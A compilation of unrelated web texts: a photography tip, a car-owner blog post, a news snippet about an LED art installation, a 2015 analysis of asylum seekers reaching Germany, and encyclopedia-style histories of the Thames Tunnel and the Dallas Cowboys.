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But in fact Hurley has taken the word and used it to describe the "action of squinting your eyes in such a way as to portray confidence and self-assurance as opposed to the fear and uncertainty that you project when you stare wide-eyed at the camera." Crucially, it's a little different to squinting, which leaves you looking a bit... odd. Instead, you lift and tighten your lower eyelids, and let the top ones come down just a fraction.
Taken partly for documentation purposes.
Let me introduce Zuko, my 2005 Subaru Impreza that I bought a few weeks ago. I named him this because the left headlight isn't as bright as the right one, sort of like how the character Zuko's left eye has a burn mark.
I had been looking at Impreza's since December while saving up for a down payment. A WRX was out of my budget, so I knew it had to be a TS or RS, but trying to find any Subaru in the Northwest that wasn't $1k overpriced is difficult enough as it is. I thought I was going to have to wait a few more months for prices to drop until this thing was marked down after sitting at the dealer's lot for too long. The second I got in the car and took the test drive, I knew it had to be mine. I bought it two days later, and I've already dropped an extra $400 on parts since then.
I have no regrets.
The police bomb squad was called and Mr. Miyakawa, 50, was arrested early Saturday.
On Sunday, a judge ordered him to be held pending a psychological evaluation, his lawyer said.
Mr. Miyakawa’s plan was to place white LED lights in the plastic bags and hang the bags around the city.
“He wanted to promote a positive message,” said a friend, Louis Lim, who considers Mr. Miyakawa a mentor.
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The logo, Mr. Lim said, “was going to be lit up,” adding that Mr. Miyakawa had timed the installation to coincide with a design festival.
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“He wasn’t trying to scare anyone,” he said.
Syrians are a small minority of those seeking refuge in Germany
Image copyright Getty Images Image caption German police officers lead refugees through the Schoenefeld railway station near Berlin
While the tragedy of those fleeing Syria's terrible civil war has caught the popular imagination, such people formed just 20.1% of those seeking asylum in Germany from January to August 2015.
If you add together the Balkan arrivals (from Albania, Kosovo, Serbia, and Macedonia) they amount to twice that, 40.2%. The figures for those granted refuge are quite different because many of the applications from Balkan countries are rejected.
It's hard to avoid the conclusion that tens of thousands of people from relatively peaceful countries have joined the trek to Germany, which is seen as one of the most desirable places in Europe to live.
To put it more bluntly: they are taking advantage of and increasing this crisis. Statistics (attached report in German) compiled by the German authorities show that while the number of Syrians went up by 177% during the first nine months of 2015 (compared with the same period last year), the rise from Albania was 631%.
These statistics help to explain both why Chancellor Angela Merkel has faced growing internal dissent about an open door policy (even one that is just intended for Syrians) and tensions with neighbours Hungary, Slovakia, and the Czech Republic.
These countries have been complaining loudly about the strain caused by the numbers of people heading north.
One other point worth noting - the German asylum figures rather undermine Hungarian prime minister Viktor Orban's characterisation of the migration as a Muslim one.
Of course the stats don't give people's faith and Syrian or Albanian refugees are a mix of Christian as well as Muslim. But Syria, Afghanistan and Iraq combined amount to one third of the total, whereas people from either majority Christian or largely secular nations (ie Albania and former Yugoslavia) make up much of the rest.
The flows are already shifting
Image copyright Reuters Image caption Migrants are crossing into Croatia where they are being registered
While many people have argued that fences "will never work", the early signs are that Mr Orban's policy of sealing the Hungarian-Serbian border is already having the effect he wanted. It channels people to registration areas (from where they can continue to Germany or elsewhere) and dissuades others from trying to cross.
It will be interesting to see whether those trying to circumvent the fence include many from those Balkan and other nationalities with weaker grounds for asylum.
Ugly scenes of people trying to break through the fence, and being tear-gassed by Hungarian police, may play badly with the wider European public - but they won't harm Mr Orban with his right wing base at home.
It may also be that such clashes help him send his intended message to would-be asylum seekers to avoid his country.
There were reports on Wednesday of people making their way from Serbia to both Croatia and Romania in an attempt to avoid Hungary. Both of these EU members have so far avoided having large numbers of migrants.
Bavarian police told me last week about how dynamic in their use of social media and phone the new arrivals were, in terms of seeking the best routes to use. But their ability to bypass Hungary will become limited as other EU countries beef up controls.
It's known that proposals discussed on Monday by European interior ministers envisage the construction of more fences, strengthening of the EU border agency Frontex and creation of large assessment camps for those arriving in Italy and Greece, with deportation for those who fail to meet asylum criteria.
The most desperate may avoid Europe
Image copyright PA Image caption David Cameron heard from refugees during a visit to a camp in Lebanon's Bekaa Valley
One of the most shocking aspects of the Syrian story is the degree to which donor countries have reduced aid to the refugee camps or failed to keep pace with the growing numbers in them.
Food aid for refugee camps in Jordan has therefore been halved recently and many who live in rented accommodation away from camps now no longer get it at all.
David Cameron's trip to Lebanon this week had an important point to make about the UK being the biggest European aid donor to Syrian refugees, even if that is hardly an answer to the question about whether more of them should be settled in Britain.
We know already that the trip to Germany via the Greek islands or Italy is often very expensive. I've spoken to Syrians who've paid £2,000 to make it, but figures of up to £5,000 are not unheard of. That may come from precious savings or relatives elsewhere, but clearly this journey is not open to many.
A farm labourer from Homs, sitting on meagre rations in a Lebanese camp with his wife and four children, is hardly likely to find that sort of money for the six of them.
So what's happening now?
Firstly, thousands of refugees are returning to Syria - aid agencies say the numbers doing that have doubled in recent months. Secondly, people are trying to find cheaper ways to Europe.
Reports this week suggest large numbers of people in Erdine and Istanbul bus stations seeking to travel towards Bulgaria. This is a way of avoiding the costly Mediterranean crossing (and also, potentially, Hungary's fence).
Germany above all
Image copyright Getty Images Image caption The Czech national flag flies over an anti-migrants demonstration in Prague
From the outset, Germany has sought help by appealing to other European nations to show solidarity, particularly in the matter of receiving more migrants and indeed accepting binding quotas on them.
But over the past fortnight the so-called Visegrad Four bloc (Poland, Hungary, Slovakia and the Czech Republic) has effectively fought back against this idea. While some have tried to argue they can show 'solidarity' through paying more cash (for the type of additional border defences outlined above), these four states are refusing to settle significant numbers of people.
Last week in the Czech Republic I heard the argument many times that very few of those who end up detained in their unpleasant refugee facilities actually want to remain in that country.
If they're aiming for Germany or Sweden, the Czechs or other Visegrad countries ask, why would granting them asylum here have any point, since they would soon head off to where they wanted to go in the first place?
In the end it is the particular desirability of certain countries, notably Germany, that makes it so hard to find quick or indeed more equitable solutions.
Mrs Merkel's nation not only faces long-term demographic issues without migration but is the richest and most desirable destination in Europe. In this, as in the Euro crisis, German leadership is central.
EU principles at stake
Image copyright Getty Images Image caption Refugees stand behind a fence at the Hungarian border with Serbia near the town of Horgos
This week's reimposition of border controls has led some to predict the imminent demise of the Schengen system of unrestricted travel. Last week it was the survival of another principle, enshrined in the Dublin Regulations, which stipulates refugees must seek asylum in the first EU country they reach, that seemed to be in doubt.
We don't know yet how either issue will turn out, because temporary controls can be reimposed under Schengen in a crisis and this most clearly is one. The EU's mechanisms are often slow, and in this case have been stymied by members determined to serve national interest while paying lip service to European values.
It would be foolish though to think that, just as fences and camps are springing up, new initiatives will not emerge to handle this. We got a flavour of this in the leaks from Monday's interior ministers' meeting.
The direction of travel now appears to be in the direction of a reassertion of the Dublin Regulations.
This would see large facilities planned in those countries where the largest numbers arrive in the EU, many more deportations of those not granted asylum and the possibility of assessment camps being set up in north Africa too.
Little by little Europe is shutting its back doors.
Interior of the Thames Tunnel, mid-19th century
The Thames Tunnel is an underwater tunnel, built beneath the River Thames in London, connecting Rotherhithe and Wapping. It measures 35 feet (11 m) wide by 20 feet (6 m) high and is 1,300 feet (396 m) long, running at a depth of 75 feet (23 m) below the river surface measured at high tide. It was the first tunnel known to have been constructed successfully underneath a navigable river[1] and was built between 1825 and 1843 using Marc Isambard Brunel's and Thomas Cochrane's newly invented tunnelling shield technology, by Brunel and his son Isambard Kingdom Brunel.
The tunnel was originally designed for horse-drawn carriages, but was never used for that purpose. Since 2010 it forms part of the London Overground railway network under ownership of Transport for London.
History and development [ edit ]
Construction [ edit ]
At the start of the 19th century, there was a pressing need for a new land connection between the north and south banks of the Thames to link the expanding docks on each side of the river. The engineer Ralph Dodd tried, but failed, to build a tunnel between Gravesend and Tilbury in 1799.[2]
In 1805–09 a group of Cornish miners, including Richard Trevithick, tried to dig a tunnel farther upriver between Rotherhithe and Wapping/Limehouse but failed because of the difficult conditions of the ground. The Cornish miners were used to hard rock and did not modify their methods for soft clay and quicksand. This Thames Archway project was abandoned after the initial pilot tunnel (a 'driftway') flooded twice when 1,000 feet (305 m) of a total of 1,200 feet (366 m) had been dug.[3] It only measured 2–3 feet by 5 feet (61–91 cm by 1.5 m), and was intended as the drain for a larger tunnel for passenger use.[4] The failure of the Thames Archway project led engineers to conclude that "an underground tunnel is impracticable".[5]
However, the Anglo-French engineer Marc Brunel refused to accept this conclusion. In 1814 he proposed to Emperor Alexander I of Russia a plan to build a tunnel under the river Neva in St Petersburg. This scheme was turned down (a bridge was built instead) but Brunel continued to develop ideas for new methods of tunnelling.[2]
Brunel patented the tunnelling shield, a revolutionary advance in tunnelling technology, in January 1818. In 1823 Brunel produced a plan for a tunnel between Rotherhithe and Wapping, which would be dug using his new shield. Financing was soon found from private investors, including the Duke of Wellington, and a Thames Tunnel Company was formed in 1824, the project beginning in February 1825.[3]
The first step was the construction of a large shaft on the south bank at Rotherhithe, 150 feet (46 m) back from the river bank. It was dug by assembling an iron ring 50 feet (15 m) in diameter above ground. A brick wall 40 feet (12 m) high and 3 feet (91 cm) thick was built on top of this, with a powerful steam engine surmounting it to drive the excavation's pumps. The whole apparatus was estimated to weigh 1,000 tons.[2] The soil below the ring's sharp lower edge was removed manually by Brunel's workers. The whole shaft thus gradually sank under its own weight, slicing through the soft ground rather like an enormous pastry cutter. The shaft became stuck at one point during its sinking as the pressure of the earth around it held it firmly in position. Extra weight was required to make it continue its descent; 50,000 bricks were added as temporary weights. It was realised that the problem was caused because the shaft's sides were parallel; years later when the Wapping shaft was built, it was slightly wider at the bottom than the top. This non-cylindrical tapering design ensured it did not get stuck. By November 1825 the Rotherhithe shaft was in place and tunnelling work could begin.[3]
The tunnelling shield, built at Henry Maudslay's Lambeth works and assembled in the Rotherhithe shaft, was the key to Brunel's construction of the Thames Tunnel. The Illustrated London News described how it worked:
Shield in use during construction
A scale model of the tunnelling shield at the Brunel Museum at Rotherhithe
The mode in which this great excavation was accomplished was by means of a powerful apparatus termed a shield, consisting of twelve great frames, lying close to each other like as many volumes on the shelf of a book-case, and divided into three stages or stories, thus presenting 36 chambers of cells, each for one workman, and open to the rear, but closed in the front with moveable boards. The front was placed against the earth to be removed, and the workman, having removed one board, excavated the earth behind it to the depth directed, and placed the board against the new surface exposed. The board was then in advance of the cell, and was kept in its place by props; and having thus proceeded with all the boards, each cell was advanced by two screws, one at its head and the other at its foot, which, resting against the finished brickwork and turned, impelled it forward into the vacant space. The other set of divisions then advanced. As the miners worked at one end of the cell, so the bricklayers formed at the other the top, sides and bottom.[6]
Each of the twelve frames of the shield weighed over seven tons.[4] The key innovation of the tunnelling shield was its support for the unlined ground in front and around it to reduce the risk of collapses. However, many workers, including Brunel himself, soon fell ill from the poor conditions caused by filthy sewage-laden water seeping through from the river above. This sewage gave off methane gas which was ignited by the miner's oil lamps. When the resident engineer, John Armstrong, fell ill in April 1826 Marc's son Isambard Kingdom Brunel took over at the age of 20.[7]
Work was slow, progressing at only 8–12 feet a week (3–4 m). To earn some income from the tunnel, the company directors allowed sightseers to view the shield in operation. They charged a shilling for the adventure and an estimated 600–800 visitors took advantage of the opportunity every day.
The excavation was also hazardous. The tunnel flooded suddenly on 18 May 1827 after 549 feet (167 m) had been dug.[3] Isambard Kingdom Brunel lowered a diving bell from a boat to repair the hole at the bottom of the river, throwing bags filled with clay into the breach in the tunnel's roof. Following the repairs and the drainage of the tunnel, he held a banquet inside it.
Closure [ edit ]
The tunnel flooded again the following year, on 12 January 1828, when six men died. Isambard was extremely lucky to survive this; the six men had made their way to the main stairwell, as the emergency exit was known to be locked. Isambard instead made for the locked exit. A contractor named Beamish heard him there and broke the door down, and an unconscious Isambard was pulled out and revived.[citation needed] He was sent to Brislington, near Bristol, to recuperate; there he heard about the competition to build what became the Clifton Suspension Bridge.
Financial problems followed, leading in August to the tunnel being walled off just behind the shield and then abandoned for seven years.
Completion [ edit ]
The Thames Tunnel excavation as it was probably around 1840
In December 1834 Marc Brunel succeeded in raising enough money (including a loan of £247,000 from the Treasury) to continue construction.[3]
Starting in August 1835 the old rusted shield was dismantled and removed. By March 1836 the new shield, improved and heavier, was assembled in place and boring resumed.[4]
Impeded by further floods, (23 August and 3 November 1837, 20 March 1838, 3 April 1840)[4] fires and leaks of methane and hydrogen sulphide gas, the remainder of the tunnelling was completed in November 1841, after another five and a half years. The extensive delays and repeated flooding made the tunnel the butt of metropolitan humour:
Good Monsieur Brunel
Let misanthropy tell
That your work, half complete, is begun ill;
Heed them not, bore away
Through gravel and clay,
Nor doubt the success of your Tunnel. That very mishap,
When the Thames forced a gap,
And made it fit haunt for an otter,
Has proved that your scheme
Is no catchpenny dream;—
They can't say "'twill never hold water."[8]
The Thames Tunnel was fitted out with lighting, roadways and spiral staircases during 1841–1842. An engine house on the Rotherhithe side, which now houses the Brunel Museum, was also constructed to house machinery for draining the tunnel. The tunnel was finally opened to the public on 25 March 1843.[3]
Pedestrian usage [ edit ]
Although it was a triumph of civil engineering, the Thames Tunnel was not a financial success. It had cost £454,000 to dig and another £180,000 to fit out – far exceeding its initial cost estimates.[2] Proposals to extend the entrance to accommodate wheeled vehicles failed owing to cost, and it was used only by pedestrians. It became a major tourist attraction, attracting about two million people a year, each paying a penny to pass through,[9] and became the subject of popular songs. The American traveller William Allen Drew commented that "No one goes to London without visiting the Tunnel" and described it as the "eighth wonder of the world".[9] When he saw it for himself in 1851, he pronounced himself "somewhat disappointed in it" but still left a vivid description of its interior, which was more like an underground marketplace than a transport artery:
Entrance shaft to the Thames Tunnel
Amongst the blocks of buildings [in Wapping] that separate the street from the river, we notice an octagonal edifice of marble. We enter by one of several great doors, and find ourselves in a rotunda of fifty feet diameter, and the floor laid in mosaic work of blue and white marble. The walls are stuccoed, around which are stands for the sale of papers, pamphlets, books, confectioners, beer, &c. A sort of watch-house stands on the side of the rotunda next the river, in which is a fat publican, or tax gatherer. Before him is a brass turnstile, through which you are permitted to pass, on paying him a penny, and, entering a door, you begin to descend the shaft, by a flight of very long marble steps that descend to a wide platform, from which the next series of steps descends in an opposite direction. The walls of the shaft are circular, finished in stucco, and hung with paintings and other curious objects. You halt a few moments on the first platform and listen to the notes of a huge organ that occupies a part of it, discoursing excellent music. You resume your downward journey till you reach the next story, or marble platform, where you find other objects of curiosity to engage your attention whilst you stop to rest. And thus you go down – down – to the bottom of the shaft eighty feet; the walls meanwhile, being studded with pictures, statues, or figures in plaster, &c. Arrived at the bottom, you find yourself in a rotunda corresponding to that you entered from the street, a round room, with marble floor, fifty feet in diameter. There are alcoves near the walls in which are all sorts of contrivances to get your money, from Egyptian necromancers and fortune-tellers to dancing monkeys. The room is lighted with gas, and is brilliant. Now look into the Thames Tunnel before you. It consists of two beautiful Arches, extending to the opposite side of the river. These Arches contain each a roadsted, fourteen feet wide and twenty-two feet high, and pathways for pedestrians, three feet wide. The Tunnel appears to be well ventilated, as the air seemed neither damp nor close. The partition between these Arches, running the whole length of the Tunnel, is cut into transverse arches, leading through from one roadsted to the other. There may be fifty of them in all, and these are finished into fancy and toy shops in the richest manner – with polished marble counters, tapestry linings gilded shelves, and mirrors that make everything appear double. Ladies, in fashionable dresses and with smiling faces, wait within and allow no gentleman to pass without giving him an opportunity to purchase some pretty thing to carry home as a remembrancer of the Thames Tunnel. The Arches are lighted with gas burners, that make it as bright as the sun; and the avenues are always crowded with a moving throng of men, women and children, examining the structure of the Tunnel, or inspecting the fancy wares, toys, &c., displayed by the arch-looking girls of these arches ... It is impossible to pass through without purchasing some curiosity. Most of the articles are labelled – "Bought in the Thames Tunnel" – "a present from the Thames Tunnel".[9]
Drew was perhaps charitable in his view of the tunnel, which came to be regarded as the haunt of prostitutes and "tunnel thieves" who lurked under its arches and mugged passers-by.[10] The American writer Nathaniel Hawthorne, writing in 1855, took a much more negative view of the tunnel when he visited it a few years after Drew:
It consisted of an arched corridor of apparently interminable length, gloomily lighted with jets of gas at regular intervals ... There are people who spend their lives there, seldom or never, I presume, seeing any daylight, except perhaps a little in the morning. All along the extent of this corridor, in little alcoves, there are stalls of shops, kept principally by women, who, as you approach, are seen through the dusk offering for sale ... multifarious trumpery ... So far as any present use is concerned, the tunnel is an entire failure.
Use as a railway tunnel [ edit ]
1870 view of a train exiting the Thames Tunnel at Wapping
Inside the tunnel, 2010
The tunnel was purchased in September 1865 by the East London Railway Company, a consortium of six mainline railways which sought to use the tunnel to provide a rail link for goods and passengers between Wapping (and later Liverpool Street) and the South London Line. The tunnel's generous headroom, resulting from the architects' original intention of accommodating horse-drawn carriages, provided a sufficient loading gauge for trains as well.
The line's engineer was Sir John Hawkshaw who was also noted, with W. H. Barlow, for the major re-design and completion of Isambard Brunel's long abandoned Clifton Suspension Bridge at Bristol, which was completed in 1864.[11]
The first train ran through the tunnel on 7 December 1869.[3] In 1884, the tunnel's disused construction shaft to the north of the river was repurposed to serve as Wapping station.
The East London Railway was later absorbed into the London Underground, where it became the East London Line. It continued to be used for goods services as late as 1962. During the Underground days, the Thames Tunnel was the oldest piece of the Underground's infrastructure.
It was planned to construct an intersection between the East London Line and the Jubilee Line extension at Canada Water station. As construction would require the temporary closure of the East London Line, it was decided to take this opportunity to perform long-term maintenance on the tunnel and so in 1995 the East London Line was closed to allow construction and maintenance to take place. The proposed repair method for the tunnel was to seal it against leaks by "shotcreting" it with concrete, obliterating its original appearance, causing a controversy that led to a bitter conflict between London Underground who wished to complete the work as quickly and cheaply as possible and architectural interests wishing to preserve the tunnel's appearance. The architectural interests won with the Grade II* listing of the tunnel on 24 March 1995 (the day London Underground had scheduled the start of the long-term maintenance work).[12][13][14]
Following an agreement to leave a short section at one end of the tunnel untreated, and more sympathetic treatment of the rest of the tunnel, the work went ahead and the route reopened – much later than originally anticipated – in 1998. The tunnel closed again from 23 December 2007 to permit tracklaying and resignalling for the East London Line extension. The extension work resulted in the tunnel becoming part of the new London Overground. After its reopening on 27 April 2010, it was used by mainline trains again.
Influence [ edit ]
Commemorative plaque at Rotherhithe underground station before the East London line was closed in 2007
The construction of the Thames Tunnel showed that it was indeed possible to build underwater tunnels, despite the previous scepticism of many engineers. Several new underwater tunnels were built in the UK in the following decades: the Tower Subway in London; the Severn Tunnel under the River Severn; and the Mersey Railway Tunnel under the River Mersey. Brunel's tunnelling shield was later refined, with James Henry Greathead playing a particularly important role in developing the technology.
The historic importance of the Thames Tunnel was recognised on 24 March 1995, when the structure was listed Grade II* in recognition of its architectural importance.[3][13] A plaque could be seen above the stairs descending to the Rotherhithe platforms before the temporary closure. The plaque was removed for safe keeping for the duration of the works, but is now reinstated on the tunnel wall and can be seen from the passenger staircase into the station platforms.
In 1835, the Italian poet Giacomo Leopardi parodied the construction of the Thames Tunnel in lines 126–129 of the poem "Palinodia al Marchese Gino Capponi".[15]
Visiting [ edit ]
Nearby in Rotherhithe, the original Brunel Engine House is open to visitors as the Brunel Museum. It was built to house the drainage pumps for the tunnel and has now been restored. Until the East London Line was closed in 2007 for major refurbishment and upgrade, the museum organised tours through the tunnel by train.
It is still possible to take a walking tour through the tunnel to Wapping from Rotherhithe and back, but these are infrequent and on an ad-hoc basis as they can only take place when that section of the line is closed for maintenance.[16][17][18]
Entrance shaft [ edit ]
In the 1860s, when trains started running through the tunnel, the shaft was used for ventilation. The staircase was removed to reduce the risk of fire. In 2011, a concrete raft was built near the bottom of the shaft, above the tracks, when the tunnel was upgraded for the London Overground network. This space, with walls blackened with smoke from steam trains, is accessible from Railway Avenue, and functions at times as a concert venue and occasional bar. A rooftop garden has been built on top of the shaft.[19][20] In 2016 the entrance hall opened as an exhibition space, with a staircase providing easy access to the shaft for the first time in over 150 years.[21]
The Dallas Cowboys are a professional American football team based in the Dallas–Fort Worth metroplex. The Cowboys compete in the National Football League (NFL) as a member club of the league's National Football Conference (NFC) East division. The team is headquartered in Frisco, Texas, and plays its home games at AT&T Stadium in Arlington, Texas, which opened for the 2009 season. The stadium took its current name prior to the 2013 season.[4] The Cowboys joined the NFL as an expansion team in 1960.[5] The team's national following might best be represented by its NFL record of consecutive sell-outs. The Cowboys' streak of 190 consecutive sold-out regular and post-season games (home and away) began in 2002.[6] The franchise has made it to the Super Bowl eight times, tied with the Pittsburgh Steelers and the Denver Broncos for second most Super Bowl appearances in history, just behind the New England Patriots record eleven Super Bowl appearances. This has also corresponded to eight NFC championships, most in the NFC. The Cowboys have won five of those Super Bowl appearances, tying them with their NFC rivals, the San Francisco 49ers; both are second to Pittsburgh's and New England’s record six Super Bowl championships.[7] The Cowboys are the only NFL team to record 20 straight winning seasons (1966–85), in which they missed the playoffs only twice (1974 and 1984).
In 2015, the Dallas Cowboys became the first sports team to be valued at $4 billion, making it the most valuable sports team in the world, according to Forbes.[8] The Cowboys also generated $620 million in revenue in 2014, a record for a U.S. sports team.[8] In 2018 they also became the first NFL franchise to be valued at $5 billion[9] and making Forbes' list as the most valued NFL team for the 12th straight year.[10]
History
1960s
Prior to the formation of the Dallas Cowboys, there had not been an NFL team south of Washington, D.C. since the Dallas Texans folded in 1952. Oilman Clint Murchison Jr. had been trying to get an NFL expansion team in Dallas (as was Lamar Hunt – who ended up with an AFL franchise), but George Preston Marshall, owner of the Washington Redskins, had a monopoly in the South.
Murchison had tried to purchase the Washington Redskins from Marshall in 1958. An agreement was struck, but as the deal was about to be finalized, Marshall called for a change in terms. This infuriated Murchison and he called off the deal. Marshall then opposed any franchise for Murchison in Dallas. Since NFL expansion needed unanimous approval from team owners at that time, Marshall's position would prevent Murchison from joining the league.
Marshall had a falling out with the Redskins band leader Barnee Breeskin. Breeskin had written the music to the Redskins fight song "Hail to the Redskins" and Marshall's wife had penned the lyrics. Breeskin owned the rights to the song and was aware of Murchison's plight to get an NFL franchise. Angry with Marshall, Breeskin approached Murchison's attorney to sell him the rights to the song before the expansion vote in 1959. Murchison purchased "Hail to the Redskins" for $2,500. Before the vote to award franchises in 1959, Murchison revealed to Marshall that he owned the song and Marshall could not play it during games. After a few Marshall expletives, Murchison gave the rights to "Hail to the Redskins" to Marshall for his vote, the lone one against Murchison getting a franchise at that time, and a rivalry was born.
1970s
From 1970 through 1979, the Cowboys won 105 regular season games, more than any other NFL franchise during that span.[11] In addition, they appeared in 5 and won two Super Bowls, at the end of the 1971 and 1977 regular seasons.
1980s
Danny White became the Cowboys' starting quarterback in 1980 after quarterback Roger Staubach retired. Despite going to 12–4 in 1980, the Cowboys came into the playoffs as a Wild Card team. In the opening round of the 1980–81 NFL playoffs they avenged their elimination from the prior year's playoffs by defeating the Rams. In the Divisional Round they squeaked by the Atlanta Falcons 30–27. For the NFC Championship they were pitted against division rival Philadelphia, the team that won the division during the regular season. The Eagles captured their first conference championship and Super Bowl berth by winning 20–7.
1981 brought another division championship for the Cowboys. They entered the 1981-82 NFL playoffs as the number 2 seed. Their first game of the postseason saw them blowout and shutout Tampa Bay 38–0. For the Conference Title game they were pitted against the San Francisco 49ers, the number 1 seed. Despite having a late 4th quarter 27–21 lead, they would lose to the 49ers 28–27. 49ers quarterback Joe Montana led his team to an 89-yard game-winning touchdown drive connecting to Dwight Clark in a play known as The Catch.
The Cowboys playing against the Broncos in Super Bowl XII.
The 1982 season was shortened after a player strike. With a 6–3 record Dallas made it to the playoffs for the 8th consecutive season. As the number 2 seed for the 1982–83 NFL playoffs they eliminated the Buccaneers 30–17 in the Wild Card round and dispatched the Packers 37–26 in the Divisional round to advance to their 3rd consecutive Conference championship game. 3 times was not a charm for the Cowboys as they fell 31–17 to division rival and eventual Super Bowl XVII champions, the Redskins.
For the 1983 season the Cowboys went 12–4 and made it once again to the playoffs but were defeated at home in the Wild Card by the Rams 24–17. Prior to the 1984 season, H.R. "Bum" Bright purchased the Dallas Cowboys from Clint Murchison, Jr. Dallas posted a 9–7 record that season but missed the playoffs for the first time in 10 seasons. After going 10–6 in 1985 and winning a division title, the Cowboys were blown out in the Divisional round at home to the Rams 20–0.
Hard times came for the organization as they went 7–9 in 1986, 7–8 in 1987, and 3–13 in 1988. During this time period Bright became disenchanted with the team. During the savings and loan crisis, the team and Mr. Bright's savings and loan were taken over by the FSLIC. During an embarrassing home loss to Atlanta in 1987, Bright told the media that he was "horrified" at coach Tom Landry's play calling. The FSLIC forced Mr. Bright to sell the Cowboys to Jerry Jones on February 25, 1989.
Jones immediately fired Tom Landry, the only head coach in franchise history, replacing him with University of Miami head coach Jimmy Johnson, who was also Jerry Jones' teammate at the University of Arkansas as a fellow defensive lineman and Michael Irvin was under his tutelage in college. With the first pick in the draft, the Cowboys selected UCLA quarterback Troy Aikman. Later that same year, they would trade veteran running back Herschel Walker to the Minnesota Vikings for five veteran players and eight draft choices. Although the Cowboys finished the 1989 season with a 1–15 record, their worst in almost 30 years, "The Trade" later allowed Dallas to draft a number of impact players to rebuild the team.[12]
1990s
Johnson quickly returned the Cowboys to the NFL's elite. Skillful drafts added fullback Daryl Johnston and center Mark Stepnoski in 1989, running back Emmitt Smith in 1990, defensive tackle Russell Maryland and offensive tackle Erik Williams in 1991, and safety Darren Woodson in 1992. The young talent joined holdovers from the Landry era such as wide receiver Michael Irvin, guard Nate Newton, linebacker Ken Norton Jr., and offensive lineman Mark Tuinei, defensive lineman Jim Jeffcoat, and veteran pickups such as tight end Jay Novacek and defensive end Charles Haley.
Five-time World Champions Mural
Things started to look up for the franchise in 1990. On Week 1 Dallas won their first home game since September 1988 when they defeated the San Diego Chargers 17–14. They went 2–7 in their next 9 games but won 4 of their last 6 games to finish the season with a 4th place 7–9 record.
Coming into 1991 the Cowboys replaced offensive coordinator Dave Shula with Norv Turner; the Cowboys raced to a 6–5 start, then defeated the previously-unbeaten Redskins despite injury to Troy Aikman. Backup Steve Beuerlein took over and the Cowboys finished 11–5. In the Wild Card round they defeated the Bears 17–13 for the Cowboys first playoff win since 1982. In the Divisional round their season ended in a 38–6 playoff rout by the Lions.
In 1992 Dallas set a team record for regular season wins with a 13–3 mark. They started off the season by defeating the defending Super Bowl champion Redskins 23–10. Going into the playoffs as the number 2 seed they had a first round bye before facing division rival the Philadelphia Eagles. The Cowboys won that game 34–10 to advance to the NFC Conference Championship game for the first time in 10 years. They were pitted against the San Francisco 49ers, the number 1 seed. On January 17, 1993 the Cowboys went to Candlestick Park and defeated the 49ers 30–20 to clinch their first Super Bowl berth since 1978. Dallas defeated the Buffalo Bills 52–17 in Super Bowl XXVII, during which they forced a record nine turnovers. Johnson became the first coach to claim a national championship in college football and a Super Bowl victory in professional football.
Despite starting the 1993 season 0–2, they again defeated the Buffalo Bills in Super Bowl XXVIII, 30–13 (becoming the first team in NFL history to win a Super Bowl after starting 0–2). Dallas finished the regular season 12–4 as the number 1 seed of the NFC. They defeated the Green Bay Packers 27–17 in the divisional round. In the NFC Conference Championship, Dallas beat the 49ers in Dallas, 38–21. Dallas sent a then-NFL record 11 players to the Pro Bowl in 1993: Aikman, safety Thomas Everett, Irvin, Johnston, Maryland, Newton, Norton, Novacek, Smith, Stepnoski, and Williams.
Dallas Cowboys championship banners inside AT&T Stadium
Only weeks after Super Bowl XXVIII, however, friction between Johnson and Jones culminated in Johnson stunning the football world by announcing his resignation. Jones then hired former University of Oklahoma head coach Barry Switzer to replace Johnson. The Cowboys finished 12–4 in 1994. They once again clinched a first round bye and defeated Green Bay 35–9 in the Divisional Round. They missed the Super Bowl, however, after losing to the 49ers in the NFC Championship Game, 38–28.
Prior to the start of 1995 season Jerry Jones lured All-Pro cornerback Deion Sanders away from San Francisco. Dallas started the season 4–0 including shutting out their division rival New York Giants 35–0 at Giants Stadium to open their season. Emmitt Smith set an NFL record with 25 rushing touchdowns that season. They ended the season 12–4 and went into the playoffs as the number 1 seed. In the Divisional round they dispatched their division rival Eagles 30–11 to advance to their 4th consecutive NFC Conference Championship Game, in which they defeated Green Bay, 38–27. In Super Bowl XXX the Cowboys defeated the Pittsburgh Steelers 27–17 at Sun Devil Stadium for their fifth Super Bowl championship. Switzer joined Johnson as the only coaches to win a college football national championship and a Super Bowl.
The glory days of the Cowboys were again beginning to dim as free agency, age, and injuries began taking their toll. Star receiver Michael Irvin was suspended by the league for the first five games of 1996 following a drug-related arrest; he came back after the Cowboys started the season 2–3. They finished the regular season with a 10–6 record, won the NFC East title, and entered the playoffs as the number 3 seed in the NFC. They defeated Minnesota 40–15 in the Wild Card round but were eliminated in the Divisional round of the playoffs 26–17 by the Carolina Panthers.
The Cowboys went 6–10 in 1997 (including losing their last 6 games of the season), with discipline and off-field problems becoming major distractions.[13] As a result, Switzer resigned as head coach in January 1998 and former Steelers offensive coordinator Chan Gailey was hired to take his place.
Gailey led the team to two playoff appearances with a 10–6 record in 1998 and an NFC East championship, but the Cowboys were defeated in the playoffs by the Arizona Cardinals 20–7.
In 1999 Dallas went 8–8 (during which Irvin suffered a career-ending spinal injury in a loss to the Philadelphia Eagles) ending in another playoff loss (this time to the Minnesota Vikings 27–10). Gailey was fired and became the first Cowboys coach who did not take the team to a Super Bowl.
Defensive coordinator Dave Campo was promoted to head coach for the 2000 season. Prior to the season starting cornerback Deion Sanders was released after 5 seasons with the team. He later signed with division rival Washington. In Week 1, they were blown out 41–14 by Philadelphia. That game was very costly when veteran quarterback Troy Aikman suffered a serious concussion which ultimately ended his career. Longtime NFL QB Randall Cunningham filled in for Aikman for the rest of the season at QB. The Cowboys finished the season in 4th place with a 5–11 record. The only highlights of 2000 were Emmitt Smith having his 10th consecutive 1,000 yard rushing season and a season sweep over the Redskins.
2001 was another hard year in Dallas. Prior to the season starting Aikman was released from the team and he retired due to the concussions he had received. Jerry Jones signed Tony Banks as a QB. Banks had been a starter for half of the season the previous year for the Super Bowl Champion Baltimore Ravens before being benched. Jones also drafted QB Quincy Carter in the second round of that year's draft, and Banks was released during the preseason. Ryan Leaf, Anthony Wright, and Clint Stoerner all competed for the quarterback position that season. Dallas again finished at 5–11, last place in the NFC East, but they swept the Redskins for the 4th consecutive season.
